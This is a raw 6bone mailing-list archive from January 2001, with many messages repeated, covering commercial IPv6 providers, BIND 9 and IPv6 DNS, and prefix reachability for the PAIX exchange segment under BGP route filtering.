<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=930022714-17012001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=930022714-17012001>Regards,</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=930022714-17012001>Andrea 
Reitzel</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=930022714-17012001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=930022714-17012001>vBNS 
Engineering/Worldcom</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=930022714-17012001><A 
href="mailto:areitzel@mci.net">areitzel@mci.net</A></SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=930022714-17012001>703-886-1809</SPAN></FONT></DIV>
<BLOCKQUOTE style="MARGIN-RIGHT: 0px">
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma 
  size=2>-----Original Message-----<BR><B>From:</B> owner-6bone@ISI.EDU 
  [mailto:owner-6bone@ISI.EDU]<B>On Behalf Of </B>Che Rohani 
  Ishak<BR><B>Sent:</B> Wednesday, January 17, 2001 4:04 AM<BR><B>To:</B> 
  6bone@ISI.EDU<BR><B>Subject:</B> Commercial IPv6 Services<BR><BR></DIV></FONT>
  <DIV>
  <DIV><FONT face=Arial size=2>Hi,</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=Arial size=2>Currently, I know that there are only two ISP 
  providing commercial IPv6 services that is IIJ and NTT. How about Surfnet and 
  Trumpet? Hope to get Clarification.Thanks</FONT></DIV>
  <DIV><FONT face=Arial size=2>&nbsp;</FONT></DIV>
  <DIV><FONT face=Arial size=2>Regards,</FONT></DIV>
  <DIV><FONT size=2><FONT face=Arial>Rohani&nbsp;<FONT color=#0000ff><SPAN 
  class=930022714-17012001>&nbsp;</SPAN></FONT></FONT></FONT></DIV>
  <DIV><FONT size=2><FONT face=Arial><FONT color=#0000ff><SPAN 
  class=930022714-17012001>&nbsp;</SPAN></FONT></FONT></FONT></DIV></DIV></BLOCKQUOTE></BODY></HTML>

--Boundary_(ID_jwrPbX5NmffawuuRrrG3AQ)--

From 6bone-owner  Wed Jan 17 12:13:28 2001
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From: Peter Håkanson <peter@ipsec.nu>
Organization: IPSec Sverige
To: Julio Baixauli <baixauli@mat.upc.es>
Subject: Re: DNS
Date: Wed, 17 Jan 2001 10:49:31 +0100
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References: <3A649D42.71146D16@mat.upc.es> <01011709131801.34720@warp.ipsec.nu> <3A65689A.509F9895@mat.upc.es>
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*This message was transferred with a trial version of CommuniGate(tm) Pro*
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On Wed, 17 Jan 2001, you wrote:
> "Peter Håkanson" wrote:
> > 
> > 
> > Yes. Bind-9 should be able to communicate with ipv6
> > 
> 
> 	I've not found any bind man page in section 9. there is bind(2) man
> page, but it not seems to be that you refers.
> 	Where can I find bind-9?

Bind-9 is the latest version of bind from isc.org
The software may be obtained from www.isc.org,
the unpacked manpages may be browsed at :

http://www.ipsec.nu/dns/bind9/Bv9ARM.html
> 
> 	Thank you very much!!
> 
> -- 
> ********************************************
> 
> 	Julio Baixauli Garreta
> 	baixauli@mat.upc.es
> 
> ********************************************
-- 
Peter Håkanson               Phone     +46707328101       Fax +4631223190
IPSec sverige                Email      peter@ipsec.nu  
"Safe by design"             Address    Bror Nilssons gata 16  Lundbystrand
                                        S-417 55  Gothenburg   Sweden         

From 6bone-owner  Wed Jan 17 13:13:27 2001
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To: 6bone@ISI.EDU
Subject: reachability issue with 3ffe:80a::/32 (PAIX IX segment)
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From: Jun-ichiro itojun Hagino <itojun@itojun.org>
Date: Wed, 17 Jan 2001 21:13:59 +0900
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# not sure why it did not get through.

	at PAIX, we use 3ffe:80a::/32 (acutally 3ffe:80a::/64) for the
	peering segment between ISPs.  3ffe:800::/24 is assigned to ISI,
	and as ISI and PAIX are not directly connected, 3ffe:800::/24 has
	two (or more) disconnected networks.

	we did not expect to receive/propagate prefixes longer than
	sTLA/pTLA prefixes (*), our EBGP routers filter out logner prefixes
	(as suggested in 6bone operation RFC) and internal routers do not have
	the route for 3ffe:80a::/32.  packets to 3ffe:80a::/32 get routed to
	ISI (instead of PAIX) and get dropped.

	(*) currently our rule is as follows:
	- prefixes that match 3ffe:0000::/17 and prefixlen = 24
	- prefixes that match 3ffe:8000::/17 and prefixlen = 28
	- prefixes that match 2001::/16 and prefixlen = 29 to 35
	- prefixes that match 2000::/3 and prefixlen = 16
	- prefixes specifically agreed with other peers

	what should we do?  if we need to receive/propagate 3ffe:80a::/32 or
	/64, we may just need to do that and then the particular problem will
	be solved.  however, i have some worry here... if we add more and more
	practice like this, we eventually get more external routes.

	i can think of couple of solutions:
	- an IX (say PAIX) gets an sTLA/pTLA.  the IX announces it to the world
	  based on normal prefix length (like /28 for pTLA).  the IX will
	  ensure connectivity between IX segments (so there will be no
	  reachability issue).
	- define an address range for IX segments (like 3ffe:fff0::/28).
	  assign /48 out of it to IX (who assigns it is another question).
	  ask everyone to accept /48 (not just /28) for the prefix.
	- do not use global address on the IX segment.  I know some routers
	  cannot establish BGP4+ peers using linklocal address.
	- get 1 sTLA/pTLA prefix for each of the IX segment.  it is infeasible.

	what do people think?

itojun

From 6bone-owner  Wed Jan 17 13:53:23 2001
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To: Jun-ichiro itojun Hagino <itojun@itojun.org>
cc: 6bone@ISI.EDU
Subject: Re: reachability issue with 3ffe:80a::/32 (PAIX IX segment) 
In-reply-to: Your message of "Wed, 17 Jan 2001 21:13:59 +0900."
             <20010117121359.41CD47E66@starfruit.itojun.org> 
Date: Wed, 17 Jan 2001 09:15:19 -0800
From: Stephen Stuart <stuart@mfnx.net>
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*This message was transferred with a trial version of CommuniGate(tm) Pro*
PAIX followed the same model it uses for v4 address space to get v6
address space - ISI provides micro-allocation services out of a block
from which they provide IXs with address space.

> 	i can think of couple of solutions:
> 	- an IX (say PAIX) gets an sTLA/pTLA.  the IX announces it to the world
> 	  based on normal prefix length (like /28 for pTLA).  the IX will
> 	  ensure connectivity between IX segments (so there will be no
> 	  reachability issue).

PAIX does not have any "interior" connectivity - that would amount to
having the IX compete with its customers for the carriage of traffic
in the wide area.

Also, PAIX owns no routers with which to make an aggregated
announcement (not that it couldn't be done, but it's not part of the
current model).

> 	- do not use global address on the IX segment.  I know some routers
> 	  cannot establish BGP4+ peers using linklocal address.

Possible.

> 	- define an address range for IX segments (like 3ffe:fff0::/28).
> 	  assign /48 out of it to IX (who assigns it is another question).
> 	  ask everyone to accept /48 (not just /28) for the prefix.
>
> 	- get 1 sTLA/pTLA prefix for each of the IX segment.  it is infeasible.

Given that the IX can't carry bits in the wide area, these wind up
being mostly the same option, and (I agree) infeasible.

Stephen

From 6bone-owner  Wed Jan 17 15:43:30 2001
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Date: Wed, 17 Jan 2001 09:29:51 -0500
From: Andrea Reitzel <areitzel@mci.net>
Subject: RE: Commercial IPv6 Services
In-reply-to: <00e501c08064$7578a660$a186e4c0@mimos.my>
To: Che Rohani Ishak <roha@mimos.my>, 6bone@ISI.EDU
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In the U.S., the vBNS+ commercial services include IPv6.  For more
information see http://www.vbns.net or feel free to contact me directly.

Regards,
Andrea Reitzel

vBNS Engineering/Worldcom
areitzel@mci.net
703-886-1809
  -----Original Message-----
  From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of Che
Rohani Ishak
  Sent: Wednesday, January 17, 2001 4:04 AM
  To: 6bone@ISI.EDU
  Subject: Commercial IPv6 Services


  Hi,

  Currently, I know that there are only two ISP providing commercial IPv6
services that is IIJ and NTT. How about Surfnet and Trumpet? Hope to get
Clarification.Thanks

  Regards,
  Rohani


--Boundary_(ID_jwrPbX5NmffawuuRrrG3AQ)
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</HEAD>
<BODY bgColor=#ffffff>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=930022714-17012001>In the 
U.S., the vBNS+ commercial services include IPv6.&nbsp; For more information 
see</SPAN></FONT><FONT color=#0000ff face=Arial size=2><SPAN 
class=930022714-17012001> <A href="http://www.vbns.net">http://www.vbns.net</A> 
or feel free to contact me directly.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=930022714-17012001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=930022714-17012001>Regards,</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=930022714-17012001>Andrea 
Reitzel</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=930022714-17012001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=930022714-17012001>vBNS 
Engineering/Worldcom</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=930022714-17012001><A 
href="mailto:areitzel@mci.net">areitzel@mci.net</A></SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=930022714-17012001>703-886-1809</SPAN></FONT></DIV>
<BLOCKQUOTE style="MARGIN-RIGHT: 0px">
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma 
  size=2>-----Original Message-----<BR><B>From:</B> owner-6bone@ISI.EDU 
  [mailto:owner-6bone@ISI.EDU]<B>On Behalf Of </B>Che Rohani 
  Ishak<BR><B>Sent:</B> Wednesday, January 17, 2001 4:04 AM<BR><B>To:</B> 
  6bone@ISI.EDU<BR><B>Subject:</B> Commercial IPv6 Services<BR><BR></DIV></FONT>
  <DIV>
  <DIV><FONT face=Arial size=2>Hi,</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=Arial size=2>Currently, I know that there are only two ISP 
  providing commercial IPv6 services that is IIJ and NTT. How about Surfnet and 
  Trumpet? Hope to get Clarification.Thanks</FONT></DIV>
  <DIV><FONT face=Arial size=2>&nbsp;</FONT></DIV>
  <DIV><FONT face=Arial size=2>Regards,</FONT></DIV>
  <DIV><FONT size=2><FONT face=Arial>Rohani&nbsp;<FONT color=#0000ff><SPAN 
  class=930022714-17012001>&nbsp;</SPAN></FONT></FONT></FONT></DIV>
  <DIV><FONT size=2><FONT face=Arial><FONT color=#0000ff><SPAN 
  class=930022714-17012001>&nbsp;</SPAN></FONT></FONT></FONT></DIV></DIV></BLOCKQUOTE></BODY></HTML>

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From: Peter Håkanson <peter@ipsec.nu>
Organization: IPSec Sverige
To: Julio Baixauli <baixauli@mat.upc.es>
Subject: Re: DNS
Date: Wed, 17 Jan 2001 10:49:31 +0100
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References: <3A649D42.71146D16@mat.upc.es> <01011709131801.34720@warp.ipsec.nu> <3A65689A.509F9895@mat.upc.es>
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On Wed, 17 Jan 2001, you wrote:
> "Peter Håkanson" wrote:
> > 
> > 
> > Yes. Bind-9 should be able to communicate with ipv6
> > 
> 
> 	I've not found any bind man page in section 9. there is bind(2) man
> page, but it not seems to be that you refers.
> 	Where can I find bind-9?

Bind-9 is the latest version of bind from isc.org
The software may be obtained from www.isc.org,
the unpacked manpages may be browsed at :

http://www.ipsec.nu/dns/bind9/Bv9ARM.html
> 
> 	Thank you very much!!
> 
> -- 
> ********************************************
> 
> 	Julio Baixauli Garreta
> 	baixauli@mat.upc.es
> 
> ********************************************
-- 
Peter Håkanson               Phone     +46707328101       Fax +4631223190
IPSec sverige                Email      peter@ipsec.nu  
"Safe by design"             Address    Bror Nilssons gata 16  Lundbystrand
                                        S-417 55  Gothenburg   Sweden         

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To: 6bone@ISI.EDU
Subject: reachability issue with 3ffe:80a::/32 (PAIX IX segment)
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From: Jun-ichiro itojun Hagino <itojun@itojun.org>
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# not sure why it did not get through.

	at PAIX, we use 3ffe:80a::/32 (acutally 3ffe:80a::/64) for the
	peering segment between ISPs.  3ffe:800::/24 is assigned to ISI,
	and as ISI and PAIX are not directly connected, 3ffe:800::/24 has
	two (or more) disconnected networks.

	we did not expect to receive/propagate prefixes longer than
	sTLA/pTLA prefixes (*), our EBGP routers filter out logner prefixes
	(as suggested in 6bone operation RFC) and internal routers do not have
	the route for 3ffe:80a::/32.  packets to 3ffe:80a::/32 get routed to
	ISI (instead of PAIX) and get dropped.

	(*) currently our rule is as follows:
	- prefixes that match 3ffe:0000::/17 and prefixlen = 24
	- prefixes that match 3ffe:8000::/17 and prefixlen = 28
	- prefixes that match 2001::/16 and prefixlen = 29 to 35
	- prefixes that match 2000::/3 and prefixlen = 16
	- prefixes specifically agreed with other peers

	what should we do?  if we need to receive/propagate 3ffe:80a::/32 or
	/64, we may just need to do that and then the particular problem will
	be solved.  however, i have some worry here... if we add more and more
	practice like this, we eventually get more external routes.

	i can think of couple of solutions:
	- an IX (say PAIX) gets an sTLA/pTLA.  the IX announces it to the world
	  based on normal prefix length (like /28 for pTLA).  the IX will
	  ensure connectivity between IX segments (so there will be no
	  reachability issue).
	- define an address range for IX segments (like 3ffe:fff0::/28).
	  assign /48 out of it to IX (who assigns it is another question).
	  ask everyone to accept /48 (not just /28) for the prefix.
	- do not use global address on the IX segment.  I know some routers
	  cannot establish BGP4+ peers using linklocal address.
	- get 1 sTLA/pTLA prefix for each of the IX segment.  it is infeasible.

	what do people think?

itojun

From 6bone-owner  Wed Jan 17 19:13:40 2001
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To: Jun-ichiro itojun Hagino <itojun@itojun.org>
cc: 6bone@ISI.EDU
Subject: Re: reachability issue with 3ffe:80a::/32 (PAIX IX segment) 
In-reply-to: Your message of "Wed, 17 Jan 2001 21:13:59 +0900."
             <20010117121359.41CD47E66@starfruit.itojun.org> 
Date: Wed, 17 Jan 2001 09:15:19 -0800
From: Stephen Stuart <stuart@mfnx.net>
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PAIX followed the same model it uses for v4 address space to get v6
address space - ISI provides micro-allocation services out of a block
from which they provide IXs with address space.

> 	i can think of couple of solutions:
> 	- an IX (say PAIX) gets an sTLA/pTLA.  the IX announces it to the world
> 	  based on normal prefix length (like /28 for pTLA).  the IX will
> 	  ensure connectivity between IX segments (so there will be no
> 	  reachability issue).

PAIX does not have any "interior" connectivity - that would amount to
having the IX compete with its customers for the carriage of traffic
in the wide area.

Also, PAIX owns no routers with which to make an aggregated
announcement (not that it couldn't be done, but it's not part of the
current model).

> 	- do not use global address on the IX segment.  I know some routers
> 	  cannot establish BGP4+ peers using linklocal address.

Possible.

> 	- define an address range for IX segments (like 3ffe:fff0::/28).
> 	  assign /48 out of it to IX (who assigns it is another question).
> 	  ask everyone to accept /48 (not just /28) for the prefix.
>
> 	- get 1 sTLA/pTLA prefix for each of the IX segment.  it is infeasible.

Given that the IX can't carry bits in the wide area, these wind up
being mostly the same option, and (I agree) infeasible.

Stephen

From 6bone-owner  Wed Jan 17 19:30:55 2001
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From: Raja Azlina Raja Mahmood <ina@mimos.my>
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To: 6bone@ISI.EDU
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Subject: IPSec and Flow Label implementation progress?
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Hi,

I understand these features are already shipped-in the IPv6
header in today IPv6 stack implementation.  However, is it true
that we haven't use these features yet, since there is some
standardization need to be done?  Are there more reasons to it?  

How can we participate in this implementation?   Any pointers?
Appreciate any help.

-ina


From 6bone-owner  Wed Jan 17 20:13:36 2001
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Date: Wed, 17 Jan 2001 09:29:51 -0500
From: Andrea Reitzel <areitzel@mci.net>
Subject: RE: Commercial IPv6 Services
In-reply-to: <00e501c08064$7578a660$a186e4c0@mimos.my>
To: Che Rohani Ishak <roha@mimos.my>, 6bone@ISI.EDU
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In the U.S., the vBNS+ commercial services include IPv6.  For more
information see http://www.vbns.net or feel free to contact me directly.

Regards,
Andrea Reitzel

vBNS Engineering/Worldcom
areitzel@mci.net
703-886-1809
  -----Original Message-----
  From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of Che
Rohani Ishak
  Sent: Wednesday, January 17, 2001 4:04 AM
  To: 6bone@ISI.EDU
  Subject: Commercial IPv6 Services


  Hi,

  Currently, I know that there are only two ISP providing commercial IPv6
services that is IIJ and NTT. How about Surfnet and Trumpet? Hope to get
Clarification.Thanks

  Regards,
  Rohani


--Boundary_(ID_jwrPbX5NmffawuuRrrG3AQ)
Content-type: text/html; charset=iso-8859-1
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
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<STYLE></STYLE>
</HEAD>
<BODY bgColor=#ffffff>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=930022714-17012001>In the 
U.S., the vBNS+ commercial services include IPv6.&nbsp; For more information 
see</SPAN></FONT><FONT color=#0000ff face=Arial size=2><SPAN 
class=930022714-17012001> <A href="http://www.vbns.net">http://www.vbns.net</A> 
or feel free to contact me directly.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=930022714-17012001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=930022714-17012001>Regards,</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=930022714-17012001>Andrea 
Reitzel</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=930022714-17012001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=930022714-17012001>vBNS 
Engineering/Worldcom</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=930022714-17012001><A 
href="mailto:areitzel@mci.net">areitzel@mci.net</A></SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=930022714-17012001>703-886-1809</SPAN></FONT></DIV>
<BLOCKQUOTE style="MARGIN-RIGHT: 0px">
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma 
  size=2>-----Original Message-----<BR><B>From:</B> owner-6bone@ISI.EDU 
  [mailto:owner-6bone@ISI.EDU]<B>On Behalf Of </B>Che Rohani 
  Ishak<BR><B>Sent:</B> Wednesday, January 17, 2001 4:04 AM<BR><B>To:</B> 
  6bone@ISI.EDU<BR><B>Subject:</B> Commercial IPv6 Services<BR><BR></DIV></FONT>
  <DIV>
  <DIV><FONT face=Arial size=2>Hi,</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=Arial size=2>Currently, I know that there are only two ISP 
  providing commercial IPv6 services that is IIJ and NTT. How about Surfnet and 
  Trumpet? Hope to get Clarification.Thanks</FONT></DIV>
  <DIV><FONT face=Arial size=2>&nbsp;</FONT></DIV>
  <DIV><FONT face=Arial size=2>Regards,</FONT></DIV>
  <DIV><FONT size=2><FONT face=Arial>Rohani&nbsp;<FONT color=#0000ff><SPAN 
  class=930022714-17012001>&nbsp;</SPAN></FONT></FONT></FONT></DIV>
  <DIV><FONT size=2><FONT face=Arial><FONT color=#0000ff><SPAN 
  class=930022714-17012001>&nbsp;</SPAN></FONT></FONT></FONT></DIV></DIV></BLOCKQUOTE></BODY></HTML>

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From 6bone-owner  Wed Jan 17 21:01:47 2001
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To: 6bone@ISI.EDU
Subject: Duplicates messages.
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¡Hola!

I'm the only receiving dupes?

Interesting things about the dupes are:

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----- Forwarded message from Peter Håkanson <peter@ipsec.nu> -----

X-Delivered-To: <christian.setzer@lost-frequencies.de>
X-Envelope-To: <christian.setzer@lost-frequencies.de>
From: Peter Håkanson <peter@ipsec.nu>
To: Julio Baixauli <baixauli@mat.upc.es>
Subject: Re: DNS
Date: Wed, 17 Jan 2001 10:49:31 +0100
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On Wed, 17 Jan 2001, you wrote:
> "Peter Håkanson" wrote:
> > 
> > 
> > Yes. Bind-9 should be able to communicate with ipv6
> > 
> 
> 	I've not found any bind man page in section 9. there is bind(2) man
> page, but it not seems to be that you refers.
> 	Where can I find bind-9?

Bind-9 is the latest version of bind from isc.org
The software may be obtained from www.isc.org,
the unpacked manpages may be browsed at :

http://www.ipsec.nu/dns/bind9/Bv9ARM.html
> 
> 	Thank you very much!!
> 
> -- 
> ********************************************
> 
> 	Julio Baixauli Garreta
> 	baixauli@mat.upc.es
> 
> ********************************************
-- 
Peter Håkanson               Phone     +46707328101       Fax +4631223190
IPSec sverige                Email      peter@ipsec.nu  
"Safe by design"             Address    Bror Nilssons gata 16  Lundbystrand
                                        S-417 55  Gothenburg   Sweden         

----- End forwarded message -----

-- 
					HoraPe
---
Horacio J. Peña
horape@compendium.com.ar
horape@uninet.edu
bofh@puntoar.net.ar
horape@hcdn.gov.ar

From 6bone-owner  Wed Jan 17 23:13:39 2001
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From: Raja Azlina Raja Mahmood <ina@mimos.my>
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Hi,

I understand these features are already shipped-in the IPv6
header in today IPv6 stack implementation.  However, is it true
that we haven't use these features yet, since there is some
standardization need to be done?  Are there more reasons to it?  

How can we participate in this implementation?   Any pointers?
Appreciate any help.

-ina


From 6bone-owner  Wed Jan 17 23:24:17 2001
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To: Jun-ichiro itojun Hagino <itojun@itojun.org>
cc: 6bone@ISI.EDU
Subject: Re: reachability issue with 3ffe:80a::/32 (PAIX IX segment) 
In-reply-to: Your message of "Wed, 17 Jan 2001 21:13:59 +0900."
             <20010117121359.41CD47E66@starfruit.itojun.org> 
Date: Wed, 17 Jan 2001 09:15:19 -0800
From: Stephen Stuart <stuart@mfnx.net>
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PAIX followed the same model it uses for v4 address space to get v6
address space - ISI provides micro-allocation services out of a block
from which they provide IXs with address space.

> 	i can think of couple of solutions:
> 	- an IX (say PAIX) gets an sTLA/pTLA.  the IX announces it to the world
> 	  based on normal prefix length (like /28 for pTLA).  the IX will
> 	  ensure connectivity between IX segments (so there will be no
> 	  reachability issue).

PAIX does not have any "interior" connectivity - that would amount to
having the IX compete with its customers for the carriage of traffic
in the wide area.

Also, PAIX owns no routers with which to make an aggregated
announcement (not that it couldn't be done, but it's not part of the
current model).

> 	- do not use global address on the IX segment.  I know some routers
> 	  cannot establish BGP4+ peers using linklocal address.

Possible.

> 	- define an address range for IX segments (like 3ffe:fff0::/28).
> 	  assign /48 out of it to IX (who assigns it is another question).
> 	  ask everyone to accept /48 (not just /28) for the prefix.
>
> 	- get 1 sTLA/pTLA prefix for each of the IX segment.  it is infeasible.

Given that the IX can't carry bits in the wide area, these wind up
being mostly the same option, and (I agree) infeasible.

Stephen

From 6bone-owner  Thu Jan 18 01:23:39 2001
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Date: Thu, 18 Jan 2001 02:01:21 -0300
To: 6bone@ISI.EDU
Subject: Duplicates messages.
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¡Hola!

I'm the only receiving dupes?

Interesting things about the dupes are:

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----- Forwarded message from Peter Håkanson <peter@ipsec.nu> -----

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From: Peter Håkanson <peter@ipsec.nu>
To: Julio Baixauli <baixauli@mat.upc.es>
Subject: Re: DNS
Date: Wed, 17 Jan 2001 10:49:31 +0100
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On Wed, 17 Jan 2001, you wrote:
> "Peter Håkanson" wrote:
> > 
> > 
> > Yes. Bind-9 should be able to communicate with ipv6
> > 
> 
> 	I've not found any bind man page in section 9. there is bind(2) man
> page, but it not seems to be that you refers.
> 	Where can I find bind-9?

Bind-9 is the latest version of bind from isc.org
The software may be obtained from www.isc.org,
the unpacked manpages may be browsed at :

http://www.ipsec.nu/dns/bind9/Bv9ARM.html
> 
> 	Thank you very much!!
> 
> -- 
> ********************************************
> 
> 	Julio Baixauli Garreta
> 	baixauli@mat.upc.es
> 
> ********************************************
-- 
Peter Håkanson               Phone     +46707328101       Fax +4631223190
IPSec sverige                Email      peter@ipsec.nu  
"Safe by design"             Address    Bror Nilssons gata 16  Lundbystrand
                                        S-417 55  Gothenburg   Sweden         

----- End forwarded message -----

-- 
					HoraPe
---
Horacio J. Peña
horape@compendium.com.ar
horape@uninet.edu
bofh@puntoar.net.ar
horape@hcdn.gov.ar

From 6bone-owner  Thu Jan 18 02:46:21 2001
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From: Ronald.vanderPol@surfnet.nl
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To: Che Rohani Ishak <roha@mimos.my>
cc: 6bone@ISI.EDU
Subject: Re: Commercial IPv6 Services
In-Reply-To: <00e501c08064$7578a660$a186e4c0@mimos.my>
Message-ID: <Pine.BSF.4.21.0101181141180.383-100000@spock.ncc-1701.surfnet.nl>
Organisation: SURFnet bv
Address: "Radboudburcht, P.O. Box 19035, 3501 DA Utrecht, NL"
Phone: +31 302 305 305
Telefax: +31 302 305 329
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On Wed, 17 Jan 2001, Che Rohani Ishak wrote:

> Hi,
> 
> Currently, I know that there are only two ISP providing commercial
> IPv6 services that is IIJ and NTT. How about Surfnet and Trumpet?
> Hope to get Clarification.Thanks

SURFnet is not a commercial ISP but the National Research Network
of the Netherlands. We are a closed network for higher education and
research institutes in the Netherlands only. We offer IPv6 pilot
production service to our customers. We have an IPv6 in IPv4 tunneled
network with peerings at the AMS-IX, 6TAP and TEN-155.

	rvdp


From 6bone-owner  Thu Jan 18 02:47:12 2001
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From: "Stojakovic, Branislav" <bstojakovic@netway.at>
To: "'6bone@ISI.EDU'" <6bone@ISI.EDU>
Subject: Config. example for DNS (Bind FreeBSD)
Date: Thu, 18 Jan 2001 11:46:55 +0100
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Hi there

I am  searching Bind (DNS) example configuration  of IPv6 on FreeBSD.

Cheers


Brani


From 6bone-owner  Thu Jan 18 03:33:50 2001
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Hi,

I understand these features are already shipped-in the IPv6
header in today IPv6 stack implementation.  However, is it true
that we haven't use these features yet, since there is some
standardization need to be done?  Are there more reasons to it?  

How can we participate in this implementation?   Any pointers?
Appreciate any help.

-ina


From 6bone-owner  Thu Jan 18 04:40:37 2001
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To: Jun-ichiro itojun Hagino <itojun@itojun.org>
cc: 6bone@ISI.EDU
Subject: Re: reachability issue with 3ffe:80a::/32 (PAIX IX segment) 
In-reply-to: Your message of "Wed, 17 Jan 2001 21:13:59 +0900."
             <20010117121359.41CD47E66@starfruit.itojun.org> 
Date: Wed, 17 Jan 2001 09:15:19 -0800
From: Stephen Stuart <stuart@mfnx.net>
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PAIX followed the same model it uses for v4 address space to get v6
address space - ISI provides micro-allocation services out of a block
from which they provide IXs with address space.

> 	i can think of couple of solutions:
> 	- an IX (say PAIX) gets an sTLA/pTLA.  the IX announces it to the world
> 	  based on normal prefix length (like /28 for pTLA).  the IX will
> 	  ensure connectivity between IX segments (so there will be no
> 	  reachability issue).

PAIX does not have any "interior" connectivity - that would amount to
having the IX compete with its customers for the carriage of traffic
in the wide area.

Also, PAIX owns no routers with which to make an aggregated
announcement (not that it couldn't be done, but it's not part of the
current model).

> 	- do not use global address on the IX segment.  I know some routers
> 	  cannot establish BGP4+ peers using linklocal address.

Possible.

> 	- define an address range for IX segments (like 3ffe:fff0::/28).
> 	  assign /48 out of it to IX (who assigns it is another question).
> 	  ask everyone to accept /48 (not just /28) for the prefix.
>
> 	- get 1 sTLA/pTLA prefix for each of the IX segment.  it is infeasible.

Given that the IX can't carry bits in the wide area, these wind up
being mostly the same option, and (I agree) infeasible.

Stephen

From 6bone-owner  Thu Jan 18 06:33:41 2001
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Date: Thu, 18 Jan 2001 02:01:21 -0300
To: 6bone@ISI.EDU
Subject: Duplicates messages.
Message-ID: <20010118020121.B10842@tinuviel.compendium.net.ar>
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¡Hola!

I'm the only receiving dupes?

Interesting things about the dupes are:

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----- Forwarded message from Peter Håkanson <peter@ipsec.nu> -----

X-Delivered-To: <christian.setzer@lost-frequencies.de>
X-Envelope-To: <christian.setzer@lost-frequencies.de>
From: Peter Håkanson <peter@ipsec.nu>
To: Julio Baixauli <baixauli@mat.upc.es>
Subject: Re: DNS
Date: Wed, 17 Jan 2001 10:49:31 +0100
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Cc: 6bone <6bone@ISI.EDU>
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On Wed, 17 Jan 2001, you wrote:
> "Peter Håkanson" wrote:
> > 
> > 
> > Yes. Bind-9 should be able to communicate with ipv6
> > 
> 
> 	I've not found any bind man page in section 9. there is bind(2) man
> page, but it not seems to be that you refers.
> 	Where can I find bind-9?

Bind-9 is the latest version of bind from isc.org
The software may be obtained from www.isc.org,
the unpacked manpages may be browsed at :

http://www.ipsec.nu/dns/bind9/Bv9ARM.html
> 
> 	Thank you very much!!
> 
> -- 
> ********************************************
> 
> 	Julio Baixauli Garreta
> 	baixauli@mat.upc.es
> 
> ********************************************
-- 
Peter Håkanson               Phone     +46707328101       Fax +4631223190
IPSec sverige                Email      peter@ipsec.nu  
"Safe by design"             Address    Bror Nilssons gata 16  Lundbystrand
                                        S-417 55  Gothenburg   Sweden         

----- End forwarded message -----

-- 
					HoraPe
---
Horacio J. Peña
horape@compendium.com.ar
horape@uninet.edu
bofh@puntoar.net.ar
horape@hcdn.gov.ar

From 6bone-owner  Thu Jan 18 07:33:42 2001
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From: "Stojakovic, Branislav" <bstojakovic@netway.at>
To: "'6bone@ISI.EDU'" <6bone@ISI.EDU>
Subject: Config. example for DNS (Bind FreeBSD)
Date: Thu, 18 Jan 2001 11:46:55 +0100
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Hi there

I am  searching Bind (DNS) example configuration  of IPv6 on FreeBSD.

Cheers


Brani


From 6bone-owner  Thu Jan 18 07:53:43 2001
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Date: Thu, 18 Jan 2001 11:46:11 +0100 (CET)
From: Ronald.vanderPol@surfnet.nl
X-Sender: rvdp@spock.ncc-1701.surfnet.nl
To: Che Rohani Ishak <roha@mimos.my>
cc: 6bone@ISI.EDU
Subject: Re: Commercial IPv6 Services
In-Reply-To: <00e501c08064$7578a660$a186e4c0@mimos.my>
Message-ID: <Pine.BSF.4.21.0101181141180.383-100000@spock.ncc-1701.surfnet.nl>
Organisation: SURFnet bv
Address: "Radboudburcht, P.O. Box 19035, 3501 DA Utrecht, NL"
Phone: +31 302 305 305
Telefax: +31 302 305 329
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On Wed, 17 Jan 2001, Che Rohani Ishak wrote:

> Hi,
> 
> Currently, I know that there are only two ISP providing commercial
> IPv6 services that is IIJ and NTT. How about Surfnet and Trumpet?
> Hope to get Clarification.Thanks

SURFnet is not a commercial ISP but the National Research Network
of the Netherlands. We are a closed network for higher education and
research institutes in the Netherlands only. We offer IPv6 pilot
production service to our customers. We have an IPv6 in IPv4 tunneled
